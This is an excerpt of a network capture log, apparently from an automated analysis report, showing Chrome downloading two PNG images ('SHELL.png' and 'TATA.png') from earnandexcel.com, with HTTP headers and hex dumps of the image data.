2024-04-11 21:26:49 UTC	1369	IN	Data Raw: fd be 11 c1 6e df 4d 04 bb db dc 62 ec 0b f8 5f f5 aa 8c 4d e0 e6 91 03 ac 96 60 72 51 eb 9f e7 52 75 04 37 3d bb 00 d4 54 47 b3 ad f6 38 6f 6c b8 76 1a d0 56 c3 b5 a4 d2 38 52 a7 b4 a7 00 1a 69 83 20 b4 d9 ff 65 a4 22 8a b2 5c 5d 4f f5 de 69 d8 67 81 7f 83 2c d0 1c e3 9c 38 c0 4d 7b fe 08 8c e1 1c d3 d8 95 02 41 d5 e9 bb e4 ad 5c 9d 7c ff 3a 4b cd b9 b6 fe 26 61 ef 7d 33 4a 79 ed a4 d2 4c 97 4d 15 7a e2 c1 ef 9c 7e 0d 60 ea 2f fa da a2 17 fd 40 04 e6 46 5a 34 3f be a5 99 b6 9a 94 df cf c8 5d f3 b1 e7 7e a7 4a 07 ce 3c 78 3c 48 6c b8 08 c0 38 fa f4 7c 12 c0 77 ed 6b 19 26 42 d4 6e 47 de 21 44 20 df 4c 7d 33 c3 f5 7e 38 ff 0d a5 0e 95 be 6c 40 12 7d 08 85 68 ca c0 2d 2f c7 3a 54 d4 0a e4 dc a5 26 57 64 97 4e d9 0a 2f 87 fc ff 19 aa a6 e3 eb e0 b6 4b 36 50 Data Ascii: nMb_M`rQRu7=TG8olvV8Ri e"\]Oig,8M{A\\|:K&a}3JyLMz~`/@FZ4?]~J<x<Hl8\|wk&BnG!D L}3~8l@}h-/:T&WdN/K6P
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 32 14 1a 41 40 23 01 80 4f bd b8 7f 1e bd da d8 67 c0 6f 9e 4f 81 7f 7b 8b f6 9e 9f 18 10 82 c3 ed d9 1d 98 84 f1 d7 4f 84 21 4a 0d fc cb 9b 35 c0 3f df 0d 65 d2 e2 de 3f fb d9 cf 18 a9 b8 f8 c1 92 ae 94 5c 16 f8 71 d4 bd 78 9d 21 aa d8 50 28 b7 67 c0 7c ff fb df 9f 97 00 b1 e4 d6 e4 ae b2 b3 58 93 51 18 9c 87 e8 20 39 14 aa cd 36 ba fb 2e df bf 52 7f 70 a1 b2 4d b5 29 42 79 f7 bb df 7d 27 6e bf 07 4f 41 e0 d7 19 bc f4 5f 71 8b 7b 28 ec 1b 13 09 68 88 4d 5e 4b 6d 79 a8 05 ec a9 2c a9 10 da 54 50 4c bf 11 26 02 e5 7d 81 a1 d4 cb ad 5a 62 4a d2 29 78 8d b8 58 4f 81 ff 26 c7 83 ef a5 d0 63 9e 6d 1f 53 bf 10 21 2f e5 91 f7 2a 0c b5 a7 48 98 8a 02 55 1b 4b 19 ac d2 8d 89 10 d7 e2 fe 26 d6 b5 40 bb d6 f0 fa 1d f1 10 4d 7b 92 e8 6c d3 2e d8 44 e3 90 f3 41 d4 6d Data Ascii: 2A@#OgoO{O!J5?e?\qx!P(g\|XQ 96.RpM)By}'nOA_q{(hM^Kmy,TPL&}ZbJ)xXO&cmS!/*HUK&@M{l.DAm
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 5f 32 dc f6 d3 8b fc e2 cc c6 29 27 01 a6 bb 9f 1f 41 34 ce 3b 15 7d 8e 13 cc 16 6f e9 4d 2d da 36 bd 6d d9 5c bb e0 fc fd 21 7f 62 e6 ed 64 c0 72 27 c5 c5 51 78 20 c5 9d 71 a7 5e 38 90 0a 03 0c 26 c9 72 43 fe d6 dc 91 6d 48 95 14 68 83 db a4 85 c3 35 33 37 c7 40 19 44 7b 40 d6 2e d1 c4 26 86 61 59 2e 91 7a c5 1f 02 07 2e d4 3d 19 c1 16 45 03 fe e3 bc 25 bc cf 8a f0 39 40 71 ab 01 bf 09 70 00 87 76 03 c6 f6 a6 44 0c 1b c0 26 7c ae 9f 25 a9 4c 22 90 c6 65 11 50 93 f9 50 6a cf 04 3f f0 32 54 8d 21 10 e7 dd 92 62 20 dd 40 bf a9 c3 f5 cd 31 bd 66 f0 e0 3e 84 02 f8 52 57 cc 97 36 ee 31 a9 3d 1b f8 ea 9a 71 03 dc 9e 0a 06 13 6c 0e aa 2d 2d a0 7a 96 e1 be c0 3f 97 95 bd eb 5d ef 0a f0 1d 44 6d c0 6f 5b 92 40 25 58 d5 7b 53 e7 4a ad f2 4f 70 c5 22 b1 b8 03 4f 85 Data Ascii: _2)'A4;}oM-6m\!bdr'Qx q^8&rCmHh537@D{@.&aY.z.=E%9@qpvD&\|%L"ePPj?2T!b @1f>RW61=ql--z?]Dmo[@%X{SJOp"O
2024-04-11 21:26:49 UTC	820	IN	Data Raw: 96 3a cd bb ff ae 23 06 58 f1 db 26 68 4c 8e 34 17 b9 c7 ed 8d 93 71 e1 c1 21 61 44 b6 11 09 b0 63 0c 24 1c 55 6b d7 e5 59 ad 3f 7e ac bd 3a 77 da e8 6e a8 23 e0 dc e4 4a 02 72 3a 36 8e 07 08 3a b4 55 12 dc 51 6e 38 d1 97 ab b3 5c 1f c0 01 6a 44 12 31 4c 8e 4d 42 5c 6b 34 4e 82 74 9d 43 59 7d b9 2d f8 cf 7d a5 68 bf b7 26 22 a3 de b1 36 04 3b aa 4e 9d 52 b9 e6 3c a9 3b d0 cd 17 38 9f 4a 89 08 c4 b5 65 3e 77 7b 6e 36 b8 1d d7 b5 3f ce bf e3 18 db dd bc 89 3d 62 72 1d 9b c7 1c aa eb a6 71 d8 bf dd 09 fc 51 75 56 b1 81 2c 11 6d 0f 9e ff 8e 3e a0 4d a2 b8 27 b3 13 70 61 ba 2b 0a 26 ce 88 39 60 56 47 06 a3 f4 04 a2 99 8e 8a 3b 6a 83 e4 b5 08 85 3d 52 69 55 d0 6a f7 26 ca 4a 5c 7f de 7f 5f 6a 4f 11 c8 cd 91 e3 72 7b 42 3c 7b 03 b4 49 37 c9 f9 fb 4f 11 d9 f6 89 Data Ascii: :#X&hL4q!aDc$UkY?~:wn#Jr:6:UQn8\jD1LMB\k4NtCY}-}h&"6;NR<;8Je>w{n6?=brqQuV,m>M'pa+&9`VG;j=RiUj&J\_jOr{B<{I7O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.17	49894	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:48 UTC	1102	OUT	GET /wp-content/uploads/SHELL.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:49 UTC	907	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:49 GMT Content-Type: image/png Content-Length: 8610 Connection: close CF-Ray: 872e0e9b8cef4332-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df3303-21a2" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:43 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wyd81FwgtJf%2FPYaE4eDmYflG4NEuolysMxBveuqvseOX%2Bt2Xik3LtBC5e5WWBePwMl2rkWbZwfnXaoUCkd%2BzlkkRIIZiLIkE1MWmEnbbVSt5kAFZdz4umXy%2BGqedXDT%2FeFE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c2 00 00 00 37 08 06 00 00 00 5e be 95 9b 00 00 21 69 49 44 41 54 78 da ec 9a e5 ab 56 4b 14 c6 fd 27 fc ac d8 dd 7d ec ee ee ee 42 fd a0 62 23 26 26 b6 82 08 22 16 22 22 26 2a e6 07 15 15 bb b0 bb bb eb c4 73 f9 2d 58 30 b8 f7 39 e7 5e ae 1c 3c b0 17 6c 66 bf b3 67 66 cf cc 7e 9e 55 f3 e6 51 22 89 24 a2 3c 4a 24 91 44 12 22 24 92 c8 ff 26 42 46 46 86 52 53 53 95 96 96 26 e4 eb d7 af fa f5 eb 97 5c d2 d3 d3 ed 79 9c 7c fa f4 49 2e 3f 7e fc 10 12 8e f5 e5 cb 17 8a c8 bd 8f 4b 9f 50 be 7f ff ce 7c b2 bc 12 49 e4 8f 10 e1 f3 e7 cf 0a 05 d0 c7 c9 cf 9f 3f f5 ed db b7 48 fd 8d 1b 37 74 ea d4 29 1d 3b 76 4c 9b 37 6f d6 aa 55 ab b4 7c f9 72 cd 9f 3f 5f cb 96 2d d3 fa f5 eb b5 63 c7 0e 9d 3f 7f 5e 8f 1f 3f Data Ascii: PNGIHDR7^!iIDATxVK'}Bb#&&"""&*s-X09^<lfgf~UQ"$<J$D"$&BFFRSS&\y\|I.?~KP\|I?H7t);vL7oU\|r?_-c?^?
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 6b d2 9d 04 b8 00 0b 4b 60 69 d6 85 0b 17 52 07 79 78 27 ed 20 8f f5 db be 7d 3b da d6 c6 7c f6 ec 99 59 8c 6d db b6 f1 3e c6 e4 2c 02 22 42 0a b3 0c 6b d7 ae 0d cd 67 0c 80 b2 d7 26 b4 bb 7a f5 aa 56 af 5e ad 09 13 26 68 fc f8 f1 ac 9b 6c 16 c4 33 f7 ac 67 cf 9e 64 b8 88 6f 2c 1b 76 f4 e8 51 8b 73 7e 77 37 21 78 f8 b1 b8 0f df cb fe 5e bf 7e 9d 7d 41 71 b0 0f 94 fc f6 bd 32 45 70 ef de bd 88 9b e4 6e 19 65 6e 91 d0 ed 76 c1 95 66 8d ac 95 35 c7 ed 05 6d b0 d0 31 42 bd ef b5 7b 23 f4 a1 e4 a2 0e fc 70 1f e2 21 96 08 11 46 ba ff eb ec 05 8c 9c f6 a2 c1 01 3e 6e d1 80 01 03 00 82 5b 08 fe 2a 81 a6 64 52 c4 00 00 91 d3 65 02 69 0e c7 48 9b c2 66 26 66 93 9f 3e 7d ba 0a 14 28 a0 a5 4b 97 52 07 11 f8 b0 16 84 17 2d 5a 14 b0 e1 26 b1 28 c6 b3 cd ba 72 e5 0a ef Data Ascii: kK`iRyx' };\|Ym>,"Bkg&zV^&hl3gdo,vQs~w7!x^~}Aq2Epnenvf5m1B{#p!F>n[*dReiHf&f>}(KR-Z&(r
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 46 30 5d 1e 26 e8 10 00 bb 8e fb 03 84 08 69 12 4c 87 04 b9 82 5f 6e 0c 20 3b af f3 34 23 d7 c9 bd c0 08 0c 5c 1f 92 2e 33 54 a6 40 66 ca 73 ee df bf ef be b2 05 da e3 32 71 39 68 47 02 98 15 31 e1 a6 cb 84 03 a8 00 98 c0 9a b0 3b 58 20 28 40 03 7a 16 0e d1 10 2c 4b 10 c8 73 55 7c 27 b0 b4 0e cd 12 d3 b8 51 84 c6 ee 3e ed c4 48 bb 7b 5d 83 89 af 5f bf 36 be c5 4d e2 16 10 da 13 82 c0 35 5a 00 df ef 61 c5 fb 9c 00 04 96 fd e7 06 de b6 05 60 27 52 b3 87 e6 01 e6 f3 af b6 20 d4 d1 dc 1e 81 27 10 e8 1c 10 88 cc 81 15 53 01 9d b6 d7 19 c0 a6 d9 01 95 0b e5 b8 2c 07 1f 9c 86 e0 82 70 77 3e 7e fc 48 63 01 b1 d8 00 10 69 ee aa 48 1d 13 b0 72 c7 5c a3 0f 9e 25 13 44 68 0c c8 1a 85 84 c4 79 fd 20 5c 16 fb 00 2b 60 fa 64 62 65 99 1a d7 f4 0f 65 86 c4 35 cc 69 9a de Data Ascii: F0]&iL_n ;4#\.3T@fs2q9hG1;X (@z,KsU\|'Q>H{]_6M5Za`'R 'S,pw>~HciHr\%Dhy \+`dbee5i
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 83 c0 e2 7c fe bd eb 03 94 ef da 34 7e cc a1 ed 8c c5 3d 4a 1d 68 67 73 20 da d1 d7 31 11 39 c1 1e c3 03 42 bf 27 ad f5 8d 92 d9 9f a8 5b 4a 3a b8 6b e8 a0 7f ce 01 5e 82 33 00 e9 77 33 d2 5d 8b 06 94 09 d7 65 71 8b f0 72 f0 1f 9f 8c 91 a2 00 1e ed 96 08 f0 89 2e 76 cf 4e 81 e0 03 c1 98 73 28 ad 26 64 39 f0 98 32 4c 69 44 8b 14 09 0b 7d 3e 82 30 81 e2 24 60 35 91 a6 21 9a 86 a6 a5 d9 68 64 1a 1b e0 10 e1 f6 ed db a4 da c0 4c c0 11 16 73 0c 40 cf 97 cc 8d 01 1a da 75 27 1c 36 33 ce 2c 0a 13 6c 53 85 ca 85 20 50 34 b7 e7 d0 f4 84 a1 d2 ed 52 a5 4c af 99 6c 04 e0 97 96 c2 75 4e 7b 40 0c 60 76 7e 78 45 78 59 34 9a 15 93 10 0c 80 5c 6f 07 76 c7 00 4d 40 8d 98 98 cc 3a 54 64 57 3d 0c 22 1b 23 37 88 0b 25 35 dc 22 a2 80 35 d3 88 6d c3 22 70 e3 b8 75 31 7d 11 82 Data Ascii: \|4~=Jhgs 19B'[J:k^3w3]eqr.vNs(&d92LiD}>0$`5!hdLs@u'63,lS P4RLluN{@`v~xExY4\ovM@:TdW="#7%5"5m"pu1}
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: bd 01 76 0c e6 d7 7b 88 99 5e ee 8f e3 d5 21 49 dd c9 c5 db cc 78 72 85 f8 96 8a eb 10 91 d6 06 7c 60 36 61 c4 d5 72 1f e2 1b 2c e1 a2 11 11 82 fb 43 08 dc 47 10 3c bb 6c 91 49 2b 8c 2b 50 56 ea b1 95 19 8b 81 f6 36 96 89 b6 6c 02 8f cb 62 fc 98 38 fd f7 08 ed b3 d7 57 96 36 74 5f 81 e2 8c 21 08 0b d7 91 80 b7 a1 21 e1 17 a7 e4 66 15 6c 26 68 b9 3c 82 5c e0 3b 32 33 8c e6 05 ac da 4b 10 00 21 60 10 72 63 4c 93 a3 23 0d ae 7f a5 40 5b 20 63 4f 80 f0 54 c9 b8 9a 2e 96 19 7f 68 76 69 64 56 8d 72 e3 fe ea 83 67 18 77 69 d6 fa d3 ba 00 cf a0 d8 1a 0b 21 3e 1f 41 d8 58 e5 df 9b ec ca b9 57 33 a3 c3 2c 83 eb 68 63 7e 23 0d 0b f4 84 81 2b 23 48 34 09 46 0b b7 76 19 c1 08 0e b7 88 1f cf 42 88 3b 5c 4f 10 08 96 18 01 a3 5c 53 aa 13 91 c5 0f 06 1d f8 3d c7 fd 04 45 Data Ascii: v{^!Ixr\|`6ar,CG<lI++PV6lb8W6t_!!fl&h<\;23K!`rcL#@[ cOT.hvidVrgwi!>AXW3,hc~#+#H4FvB;\O\S=E
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: f6 fa 1c e3 df d8 26 30 8d 8d a2 cc 92 17 d7 f9 c4 43 fc f5 d9 7d f6 f3 b2 08 47 fe 25 33 8b b0 0c 9c 66 53 3d da 9b 1d b8 2a 88 85 b8 e6 09 74 da ef dc a2 b4 7c 31 81 41 20 10 82 95 11 42 a4 d6 29 3b 4e 63 f5 06 bc 16 af cb 5d 57 63 a3 e4 62 8c 61 6a ad d9 f7 5e 35 d2 6f a5 c1 00 58 76 07 e1 5a 70 df eb 1d cb fa f0 6b 31 47 4c a1 c8 8c 0b 64 ac 26 86 00 87 5f 5c 6c 80 59 84 01 90 dc 5f a6 c8 0e 6c ee 9b 20 94 be 74 ff 9f 88 11 aa ff 99 eb 33 4a 38 e4 1e b9 a6 a0 b9 b2 11 e3 31 d7 c1 2a a0 5d 16 71 1f 23 f8 27 ab 16 98 dd 8f 9e 68 52 86 cd 2e c3 d7 0c f9 79 d6 1a 1d d9 ba 39 20 a5 79 f9 81 7c 5c 03 01 14 be 3b c2 00 3a 90 cb d8 00 7e b1 40 ff 81 d0 fb 8e 9c 13 47 00 fb d1 3d f7 0a 21 00 51 b0 26 50 93 0a 34 a0 9f 1c 8b 3c 36 82 7b fd 8c 49 b7 08 17 f1 96 Data Ascii: &0C}G%3fS=t\|1A B);Nc]Wcbaj^5oXvZpk1GLd&_\lY_l t3J81]q#'hR.y9 y\|\;:~@G=!Q&P4<6{I
2024-04-11 21:26:49 UTC	396	IN	Data Raw: 59 de 2a 4a d3 21 4c 00 4e 2e 8c 99 47 66 5a 6a 53 49 b3 d2 5c df 65 26 94 30 98 6d 44 3c 19 04 99 04 5a c5 f5 c7 76 4b 04 a5 2e ed 9e a3 4c 21 06 9e 0a 96 bb 46 5f 97 e0 79 03 08 02 7c cc 01 3e 7d 66 7a fb 17 17 01 5b ff ce e2 b7 73 fa 63 7c 00 26 2d 08 44 4b 72 a1 40 7d 68 60 bf c5 4b b2 28 32 39 2a 7d 7d b2 22 04 84 2b e1 d3 ec b3 42 c4 b4 e9 56 9f 13 64 93 65 76 f4 71 9f ef da f3 5b 6c a0 8f dc c1 00 b1 6c ad 17 6f 13 9f 11 6a 63 34 6e 82 45 28 52 0a 15 3a 56 ae cd 32 e0 91 92 13 f7 1e 78 d1 f0 7c 9b 85 1a 35 fe bb be b2 0e 68 a0 af c6 6e f7 5d a0 cb 7a 12 f8 45 c1 79 96 b1 ba 96 6b e7 37 ab a7 2d f7 fa cd 1a 54 d1 5c d9 cc af 08 42 60 8b b1 5b 93 6c 45 e4 87 fc f1 88 df 9b 0b 08 89 60 d5 7c 84 eb 8f ee 6d be cf 14 d8 2f 6e 95 5b cc be 6d 81 2b d0 f6 Data Ascii: YJ!LN.GfZjSI\e&0mD<ZvK.L!F_y\|>}fz[sc\|&-DKr@}h`K(29}}"+BVdevq[llojc4nE(R:V2x\|5hn]zEyk7-T\B`[lE`\|m/n[m+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.17	49895	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:48 UTC	864	OUT	GET /wp-content/uploads/TATA.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:49 UTC	913	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:49 GMT Content-Type: image/png Content-Length: 7454 Connection: close CF-Ray: 872e0e9b8e028c65-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df330c-1d1e" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:52 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AOou60%2FT%2Fk4PaMpamTzP65CVWylDeNU%2B%2BaSOdl4IMXRJlRIu0av%2BnihRyADd3etU2mwy1U4Vy%2F68Q8bDM4QXxIQ17weWNHUBZmkDUgubktPFy5Wm5iU%2BU5%2FotXpT4ExwYnU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:49 UTC	456	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 bf 00 00 00 5e 08 06 00 00 00 72 f2 c5 21 00 00 1c e5 49 44 41 54 78 da ec 9b e5 8b 16 51 14 c6 fd c7 fc 22 08 82 dd dd dd dd 1d 60 37 76 81 ad 1f 54 14 03 eb 9b 81 89 5d d8 b9 6c 77 ef 91 df 81 07 2e c3 ec ec b2 f8 c5 77 e6 c0 61 66 ee bd 73 ef 9d dd e7 e4 3d 6f 3b cb 28 91 2a 2b 2b ad bc bc dc aa ab ab 4d 54 5f 5f 6f 75 75 75 06 d5 d6 d6 5a 43 43 83 45 a9 a9 a9 49 ed e1 7b cc 03 fb 7d 5b a9 b1 b1 91 b9 93 e6 a0 9f 3d b2 8f 44 4e 33 b5 b3 8c 5a 22 81 29 0a 6c ae 61 bf 80 8d 40 a8 0f 00 0a a4 89 73 6a de 08 69 9d 66 85 4b 20 af a9 a9 81 a3 6b 65 e0 cf c0 df 46 4a 06 a6 c0 1d ab f9 69 53 5f 55 55 95 15 15 15 d9 af 5f bf ec fd fb f7 f6 e0 c1 03 bb 72 e5 8a 9d 3e 7d da 8e 1c 39 62 87 0f 1f b6 83 07 0f Data Ascii: PNGIHDR^r!IDATxQ"`7vT]lw.wafs=o;(*++MT__ouuuZCCEI{}[=DN3Z")la@sjifK keFJiS_UU_r>}9b
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: d3 9f 07 0f 1e ec 02 30 71 e2 44 84 01 50 73 ef 3c 61 c2 04 ae de 36 79 f2 64 ef 1f 35 6a 94 0b c1 90 21 43 24 28 5c 99 c7 05 64 ea d4 a9 b6 65 cb 16 bb 7d fb b6 fd f9 f3 27 ba af 0c fc 19 f8 db 4e 0a 2c d1 f4 68 59 11 5a ff fb f7 ef 76 e6 cc 19 db bd 7b b7 2d 5a b4 48 80 77 0d 3e 72 e4 48 40 ec e0 1d 3f 7e bc 83 74 fa f4 e9 36 6d da 34 80 0d d0 69 17 fb b3 78 dc b8 71 36 76 ec 58 1b 33 66 8c cd 98 31 83 f7 78 9f f7 10 0e bd c3 38 ac 07 02 c1 7a 3e 6e dd ba 75 76 f1 e2 45 fb f1 e3 47 e6 f3 67 e0 ff f7 be 3e 1a f6 ec d9 b3 36 6b d6 2c eb d1 a3 07 da 1d d7 04 c0 4a 6b 4b 93 d3 16 6a 79 81 1a f0 32 2e aa ed b9 d2 c7 18 04 87 f1 3c 6b 0c d7 b0 df f7 30 73 e6 4c da b1 06 08 9f 0b c2 b2 65 cb 6c ef de bd 19 f8 33 f0 27 6a f6 56 bb 3c 2f 5f be b4 7d fb f6 01 42 Data Ascii: 0qDPs<a6yd5j!C$(\de}'N,hYZv{-ZHw>rH@?~t6m4ixq6vX3f1x8z>nuvEGg>6k,JkKjy2.<k0sLel3'jV</_}B
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 50 08 74 c5 00 cc ab b6 24 81 6b 15 88 f5 3b 85 fc fc 7c 2c 5d 2a f2 fd a9 07 7f 48 e1 73 14 30 68 49 aa 39 f9 25 16 41 2c e7 01 94 09 5c be 7c d9 03 ce 13 27 4e 10 3b 10 17 90 c5 71 57 62 ce 9c 39 f8 f3 7e 60 76 ea d4 29 0f 7a 45 00 57 7b 01 fc 68 7d ce 10 98 23 8e 58 1b 77 84 c0 9c b9 09 54 99 9f 74 25 e5 17 58 0f 0a d8 4e 9e 3c 49 49 33 41 b7 ef ef ee dd bb c4 27 04 d0 08 12 20 8f 4b f5 46 89 b1 39 ef fa a4 1e fc fc 83 f5 ab 2c 9e 71 4b c8 fe 00 20 80 b4 63 c7 0e db b4 69 13 20 96 6f 4c d0 08 50 95 4d 11 03 60 02 66 32 41 2a 3a f3 d4 69 d7 ae 5d ff b6 77 ef aa b2 14 6f 1f c7 af cc 4c 04 45 c1 9b 51 03 13 05 35 17 0f 20 2a 6a 64 e0 36 10 54 54 04 b7 ba 11 04 83 1d 98 08 66 82 81 81 b7 b0 5f 3e 23 5f 28 8a 59 33 b3 de d5 7f d8 dd d3 05 45 cf a9 ab ab a7 Data Ascii: Pt$k;\|,]Hs0hI9%A,\\|'N;qWb9~`v)zEW{h}#XwTt%XN<II3A' KF9,qK ci oLPM`f2A:i]woLEQ5 *jd6TTf_>#_(Y3E
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: d9 7f 28 4e 95 48 70 97 4e 91 04 e8 59 e4 4a f9 45 0c 6c fb 80 07 fc 08 61 04 ff 3c 7f bf cd 3c bb 88 42 9e 75 27 11 cd 3e 60 5a 2b e3 96 db 55 80 ff 02 4b 90 c2 ad ac 1c 39 77 80 2b ce 68 05 88 3b 26 1a 79 df e6 11 47 c3 23 32 9b 2a 0f f2 e5 97 5f 0a 64 9b 57 1d 9f 01 ba b8 1d 22 0f 8e 6e 15 9a c5 23 ab 44 e7 89 b5 41 a8 55 8d bb 44 e1 f6 db 36 c7 e8 b3 ba 95 44 d5 06 63 16 7e d1 75 57 1f b2 bc 83 ff bc e7 b7 54 41 8e 2f ce 1d 04 20 ed af 3d b1 b2 fd 07 7a c4 00 50 11 49 c0 9f 2b 2f 97 ee 28 84 da 75 66 f0 03 f5 39 f0 cf cd 58 85 24 5c e4 81 e6 18 33 e7 e2 f3 23 82 cc a5 cf 3c f3 8c b1 58 92 38 d2 ae a6 4e e7 0e fe a9 49 dc a8 92 02 11 a4 00 af f6 d3 aa 7c b8 34 42 c0 69 df ad c0 ee 38 56 73 ce b3 5b 15 b4 b8 a9 63 ed b6 e0 ff f3 cf 3f 5d df d8 e6 75 91 Data Ascii: (NHpNYJEla<<Bu'>`Z+UK9w+h;&yG#2*_dW"n#DAUD6Dc~uWTA/ =zPI+/(uf9X$\3#<X8NI\|4Bi8Vs[c?]u
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 5c 44 65 01 66 c0 a0 22 82 50 e4 36 99 0e f8 5d 5b 3a a3 1c 5a df 59 01 c6 f8 9c 80 64 93 e9 aa bb 35 af 92 ce 2f 99 ff a9 2e d9 45 9a 24 e0 cf e2 1a 22 c4 38 ca 22 eb 9e db ed dd fb 98 83 fb 50 3e bd 71 36 51 e2 64 f5 e0 f7 30 15 6f f5 a0 da 51 a5 f2 e2 de 03 e1 89 1e 87 c3 fd f4 76 3a 8c fb 96 84 1e b7 0f b8 f2 68 71 4a 59 54 11 1d e0 77 1e c0 34 be cf fc a6 6d 7e 02 5e e0 97 63 8b f3 b6 7a 99 7b f7 71 6e fe 7e 73 b2 cb e5 7d eb ad b7 46 99 3e ce 4d d4 6a 77 f8 ea 0e f5 bf b5 f9 05 22 3c 7c f6 fc f3 cf 9b 93 d4 c8 08 77 f5 91 a1 ab 07 bf d2 df 38 3f 6e 05 38 d5 d5 4c fc 38 03 8e 38 5b dd 7b 5c 0f 10 01 d6 6f c8 c1 f3 52 2f 4b ab aa ce 95 34 27 ba 20 08 47 e0 69 1e 8e c0 a3 e6 4f a5 0b 89 40 81 08 e7 07 c0 6a 80 ba 97 c4 8d 4b e6 7f b2 5b 01 71 ec e6 9e Data Ascii: \Def"P6][:ZYd5/.E$"8"P>q6Qd0oQv:hqJYTw4m~^cz{qn~s}F>Mjw"<\|w8?n8L88[{\oR/K4' GiO@jK[q
